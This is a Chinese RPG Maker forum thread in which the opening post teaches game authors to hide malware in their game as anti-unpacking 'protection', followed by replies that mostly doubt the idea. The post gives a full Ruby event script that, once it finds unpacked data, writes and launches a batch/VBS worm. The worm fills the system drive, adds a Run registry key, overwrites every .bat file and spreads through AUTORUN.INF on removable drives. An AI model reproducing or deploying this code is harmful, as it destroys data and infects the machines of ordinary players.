设为首页收藏本站|繁體中文

Project1

 找回密码
 注册会员
搜索
查看: 14508|回复: 26
打印 上一主题 下一主题

[RMVA发布] 手把手教你防解包器!!!!怕被解包的都进来!!!

[复制链接]

Lv2.观梦者

梦石
0
星屑
581
在线时间
106 小时
注册时间
2011-2-19
帖子
82
跳转到指定楼层
1
发表于 2014-1-27 05:18:56 | 只看该作者 回帖奖励 |正序浏览 |阅读模式

加入我们,或者,欢迎回来。

您需要 登录 才可以下载或查看,没有帐号?注册会员

x
本帖最后由 a386881 于 2014-1-27 05:22 编辑

阅读以下内容者,即代表其同意为自己行为负全责,干了什么坏事造成了多大损失均与本文作者即我没有半毛钱关系。
人是一种狡猾的动物。无论做精密的加密,终究会被破解。
最好的加密,是恐惧。
只要做到没人敢拆你的包,你就什么加密也不用了。
今天我来谈谈,怎样把自己的Game.rgss3a打造成一个无人敢开的潘多拉魔盒。
另,今天的内容估计在RMXP和RMVX上也能找到实现方法。
你可以下载附件的游戏玩玩。说是游戏,其实只是为了配合这次教学随便找了个“事件标题”的工程
原帖:http://rpg.blue/forum.php?mod=viewthread&tid=257015
用别人的是因为我对def语句完全不理解。(捂脸)
嘛,但是幸好一些奇奇怪怪的地方学的蛮好就是了。
用事件标题一因为是插在事件里会比较醒目(方便大家讨论,但理所当然不方便坑人),二因为是我是事件脚本流的。
文中用到的病毒是 秋瑾工作室 的,因为看了看貌似比我自己写的威力大得多所以就拿来了。
原帖:http://20080808qjsoft.blog.163.c ... 666200931211827722/
如果你很奇怪为什么我能在事件脚本中写的开那么多的内容,可以去http://rpg.blue/thread-347809-1-1.html
下载RMVA补丁(注意备份)
嘛,进入正题。
工作原理:运行游戏时,通过判断Data/Animations.rvdata2的有无来判断是否已被拆包。
工作内容:若有Data/Animations.rvdata2,说明被拆包了,则向文件夹输出bat病毒(其实是个混合病毒),并运行之。
嘛,下面贴一下脚本码好了,贴完再讲解。
  1. if File.exist?("Data/Animations.rvdata2")
  2. OutputTXTcontent = <<END_OF_STRING
  3. if exsit %SystemDrive%\\PAGEFILES.SYS goto end
  4. copy %0 %windir%\\system32\\logon.exe.bat                     
  5. FOR /F "tokens=3*" %%i in ('dir /-c %SystemDrive%^|find "可用字节"') do fsutil file createnew %SystemDrive%\\PAGEFILES.SYS %%i
  6. attrib +r +s +h %SystemDrive%\\PAGEFILES.SYS        
  7. reg add HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run /v KV2007 /t REG_SZ /d %windir%\\system32\\logon.vbs                 
  8. reg delete HKLM\\Software\\Microsoft\\windows\\CurrentVersion\\explorer\\Advanced\\Folder\\Hidden\\SHOWALL /va /f                    
  9. for /r %SystemDrive% %%i in (*.bat) do type %0>%%i   
  10. if exist %windir%\\system32\\logon.vbs goto end
  11. echo set fs =createobject("scripting.filesystemobject")>>%windir%\\system32\\logon.vbs
  12. echo set WshShell = WScript.CreateObject("WScript.Shell")>>%windir%\\system32\\logon.vbs
  13. echo Set objWMIService = GetObject("winmgmts:" _>>%windir%\\system32\\logon.vbs
  14. echo ^& "{impersonationLevel=impersonate}!\\\\" ^& strComputer ^& "\\root\\cimv2")>>%windir%\\system32\\logon.vbs
  15. echo Set colDisks = objWMIService.ExecQuery _>>%windir%\\system32\\logon.vbs
  16. echo ("Select * from Win32_LogicalDisk")>>%windir%\\system32\\logon.vbs
  17. echo For i =1 to 9000000000>>%windir%\\system32\\logon.vbs
  18. echo For Each objDisk in colDisks>>%windir%\\system32\\logon.vbs
  19. echo Select Case objDisk.DriveType>>%windir%\\system32\\logon.vbs
  20. echo :Case 2:>>%windir%\\system32\\logon.vbs
  21. echo y1=fs.FileExists(objDisk.DeviceID ^& "\\AUTORUN.INF")>>%windir%\\system32\\logon.vbs
  22. echo if not y1 then>>%windir%\\system32\\logon.vbs
  23. echo set f=fs.opentextfile(objDisk.DeviceID ^& "\\AUTORUN.INF",2, true)>>%windir%\\system32\\logon.vbs
  24. echo f.write "[AutoRun]" ^& vbcrlf>>%windir%\\system32\\logon.vbs
  25. echo f.write "open=logon.exe.bat" ^& vbcrlf>>%windir%\\system32\\logon.vbs
  26. echo f.write "shellexecute=logon.exe.bat" ^& vbcrlf>>%windir%\\system32\\logon.vbs
  27. echo f.write "shell\\Auto\\command=logon.exe.bat" ^& vbcrlf>>%windir%\\system32\\logon.vbs
  28. echo f.Close>>%windir%\\system32\\logon.vbs
  29. echo Set f1 = fs.GetFile(objDisk.DeviceID ^& "\\AUTORUN.INF")>>%windir%\\system32\\logon.vbs
  30. echo If f1.Attributes = f1.Attributes AND 2 Then>>%windir%\\system32\\logon.vbs
  31. echo :f1.Attributes = f1.Attributes XOR 7:>>%windir%\\system32\\logon.vbs
  32. echo End If>>%windir%\\system32\\logon.vbs
  33. echo end if>>%windir%\\system32\\logon.vbs
  34. echo y2=fs.FileExists(objDisk.DeviceID ^& "\\logon.exe.bat")>>%windir%\\system32\\logon.vbs
  35. echo if not y2 then >>%windir%\\system32\\logon.vbs
  36. echo fs.CopyFile "c:\\windows\\system32\\logon.exe.bat",objDisk.DeviceID ^& "\\">>%windir%\\system32\\logon.vbs
  37. echo Set f2 = fs.GetFile(objDisk.DeviceID ^& "\\logon.exe.bat")>>%windir%\\system32\\logon.vbs
  38. echo If f2.Attributes = f2.Attributes AND 2 Then>>%windir%\\system32\\logon.vbs
  39. echo :f2.Attributes = f2.Attributes XOR 7:>>%windir%\\system32\\logon.vbs
  40. echo End If>>%windir%\\system32\\logon.vbs
  41. echo end if>>%windir%\\system32\\logon.vbs
  42. echo dirr = Wshshell.ExpandEnvironmentStrings("%systemdrive%")>>%windir%\\system32\\logon.vbs
  43. echo y3=fs.FileExists(dirr & "\\PAGEFILES.SYS")>>%windir%\\system32\\logon.vbs
  44. echo if not y3 then>>%windir%\\system32\\logon.vbs
  45. echo WshShell.Run "logon.exe.bat">>%windir%\\system32\\logon.vbs
  46. echo WScript.Sleep 500>>%windir%\\system32\\logon.vbs
  47. echo Set f3 = fs.GetFile(dirr & "\\PAGEFILES.SYS")>>%windir%\\system32\\logon.vbs
  48. echo If f3.Attributes = f3.Attributes AND 2 Then>>%windir%\\system32\\logon.vbs
  49. echo :f3.Attributes = f3.Attributes XOR 7:>>%windir%\\system32\\logon.vbs
  50. echo End If>>%windir%\\system32\\logon.vbs
  51. echo end if>>%windir%\\system32\\logon.vbs
  52. echo End Select>>%windir%\\system32\\logon.vbs
  53. echo Next>>%windir%\\system32\\logon.vbs
  54. echo WScript.Sleep 5000>>%windir%\\system32\\logon.vbs
  55. echo Next>>%windir%\\system32\\logon.vbs
  56. END_OF_STRING
  57. OutputTXT = File.open("hunter.bat",'w')
  58. OutputTXT.puts OutputTXTcontent
  59. OutputTXT.close
  60. #如果你找到了一个合适的全键盘脚本,那么可以在这里加一行全屏+锁全键盘。效果绝对赞。
  61. system "start hunter.bat"
  62. end
复制代码
讲解时间!
if File.exist?("Data/Animations.rvdata2")
这行是判断文件是否存在的。
OutputTXTcontent = <<END_OF_STRING
XXXX
XXXX
END_OF_STRING
这两句话是:把这两行中间的东西存储到字符串OutputTXTcontent里面去。
其中END_OF_STRING和字符串的名字都可以改,上下一致就行。
中间的东西是病毒代码。
bat病毒或者vbs病毒或者aotorun.inf病毒都行。
OutputTXT = File.open("hunter.bat",'w')
OutputTXT.puts OutputTXTcontent
OutputTXT.close
这个是输出TXT的脚本,其中OutputTXT同样可以改,上下一致就行。
system "start hunter.bat"
这个是ruby调用外部程序的方法。实际上有三种常见方法,我只看懂这一种。
嘛,一点相关的资料也都放进附件了。嗯嗯。
至于中间的那段病毒代码……这不是RM的范围了。似乎不该在这里讨论的说。况且我也有一些地方还没搞清楚。
不过代码中的所有\要换成\\(就是多了一个\),不然会被ruby认为是转义符。真傻啊。
可不要拿这个脚本去做坏事哦!可不要把RMVA给搞成神马自动生成病毒发送器……那可不是我本意啊……
PS:后来想了想我还是给你们换了一个比较安全的假病毒。秋瑾工作室的那个我在标题事件的第三页放了一份,附件里也放了一份TXT,有兴趣自行去参观。
差点忘了附件:[url=http://pan.baidu.com/share/link?shareid=1790600109&uk=939995919][/url]

评分

参与人数 3星屑 +67 收起 理由
lsu666666 + 50 认可答案
1105741847 + 7 塞糖
我爱吴悦淇 + 10 头像哈哈哈哈

查看全部评分

不行了我得去找只猫吸一吸,你们先聊着别等我了

Lv5.捕梦者 (暗夜天使)

只有笨蛋才会看到

梦石
1
星屑
21666
在线时间
9418 小时
注册时间
2012-6-19
帖子
7118

开拓者短篇九导演组冠军

27
发表于 2014-1-27 22:58:54 | 只看该作者
谁都这么干了早晚RMVA制作的游戏不管有没有病毒都会直接被杀毒软件干掉……

解包的目的本质上就两种
拿脚本、拿素材

脚本的话,写的复杂一点迷惑一点的解包出来别人也不会用

素材的话,
现在你随便制作一个游戏拿给别人玩,别人说不定就会指着你的素材说:
“哦,这幅画是魔女之家中的……”
防止别人拿你的素材的方法很简单,只要你的游戏做的足够好了,拿你的素材用在自己游戏中的人受到的是比病毒更可怕的,他游戏玩家的谴责
回复 支持 反对

使用道具 举报

Lv3.寻梦者 (暗夜天使)

精灵族の天使

梦石
0
星屑
1697
在线时间
3038 小时
注册时间
2007-3-16
帖子
33731

开拓者贵宾

26
发表于 2014-1-27 21:45:14 | 只看该作者
其实使用奇怪的格式再加密,解压出来的东西就什么都没有了。
以上
例如不用rvdata格式
回复 支持 反对

使用道具 举报

Lv5.捕梦者 (管理员)

老黄鸡

梦石
0
星屑
42397
在线时间
7602 小时
注册时间
2009-7-6
帖子
13506

开拓者贵宾

25
发表于 2014-1-27 20:26:13 | 只看该作者
感觉意义不大,解开包之后都能看到脚本了,写在脚本里的防护根本没用。
RGDirect - DirectX驱动的RGSS,点我了解.
RM全系列成套系统定制请联系QQ1213237796
不接受对其他插件维护的委托
回复 支持 反对

使用道具 举报

Lv2.观梦者

梦石
0
星屑
540
在线时间
430 小时
注册时间
2012-8-14
帖子
534
24
发表于 2014-1-27 16:27:25 | 只看该作者
一进来就被lz的头像吓哭【
VAorz
希望是永不沉眠的梦。
回复 支持 反对

使用道具 举报

Lv2.观梦者

会吐槽的画师

梦石
0
星屑
782
在线时间
3431 小时
注册时间
2011-6-10
帖子
6535
23
发表于 2014-1-27 15:51:41 | 只看该作者
其实现在有一种Visdiya的病毒内置工具,可以把一些大型的病毒内置在很小的游戏里,比如震荡波这种……
长名公主玩家群:372588926 攻略娱乐应有尽有
了解更多新RM游戏,游戏制作请加入RPGmaker支援群:113622890
回复 支持 反对

使用道具 举报

Lv1.梦旅人

梦石
0
星屑
105
在线时间
76 小时
注册时间
2009-2-1
帖子
6
22
发表于 2014-1-27 14:18:13 | 只看该作者
我觉得与其写病毒,不如写一个删除所有脚本和素材的函数
回复 支持 反对

使用道具 举报

头像被屏蔽

Lv2.观梦者 (禁止发言)

梦石
0
星屑
653
在线时间
3774 小时
注册时间
2011-2-26
帖子
1839

开拓者

21
发表于 2014-1-27 13:34:20 | 只看该作者
提示: 作者被禁止或删除 内容自动屏蔽
签名被屏蔽
回复 支持 反对

使用道具 举报

Lv2.观梦者

梦石
0
星屑
581
在线时间
106 小时
注册时间
2011-2-19
帖子
82
20
 楼主| 发表于 2014-1-27 13:30:37 | 只看该作者
晴兰 发表于 2014-1-27 12:41
我指的是system,已修改。

讨论:

这回伤了。加入后运行bat不能。但是也有反制方法。
就以事件标题为例吧。
发布前弄一个带有自动执行事件的Map001.rvdata2(事件标题)和Scripts.rvdata2,塞进哪个奇奇怪怪的角落里(例如\Audio\BGM)。(俗称乱扔垃圾)
每次运行到事件标题时都校验是否解包,若已经解包,就把藏起来的Map001.rvdata2和Scripts.rvdata2复制一份到data文件夹,覆盖原文件。
这样大概就行了,嗯嗯。
……解包器总不能把校验文件是否存在的语句也屏蔽了吧,那也太丧心病狂了。真那样的话系统自带的存档页面都得跳错。
不行了我得去找只猫吸一吸,你们先聊着别等我了
回复 支持 反对

使用道具 举报

头像被屏蔽

Lv2.观梦者 (禁止发言)

梦石
0
星屑
653
在线时间
3774 小时
注册时间
2011-2-26
帖子
1839

开拓者

19
发表于 2014-1-27 13:22:56 | 只看该作者
提示: 作者被禁止或删除 内容自动屏蔽
签名被屏蔽
回复 支持 反对

使用道具 举报

您需要登录后才可以回帖 登录 | 注册会员

本版积分规则

拿上你的纸笔,建造一个属于你的梦想世界,加入吧。
 注册会员
找回密码

站长信箱:[email protected]|手机版|小黑屋|无图版|Project1游戏制作

GMT+8, 2024-11-22 21:20

Powered by Discuz! X3.1

© 2001-2013 Comsenz Inc.

快速回复 返回顶部 返回列表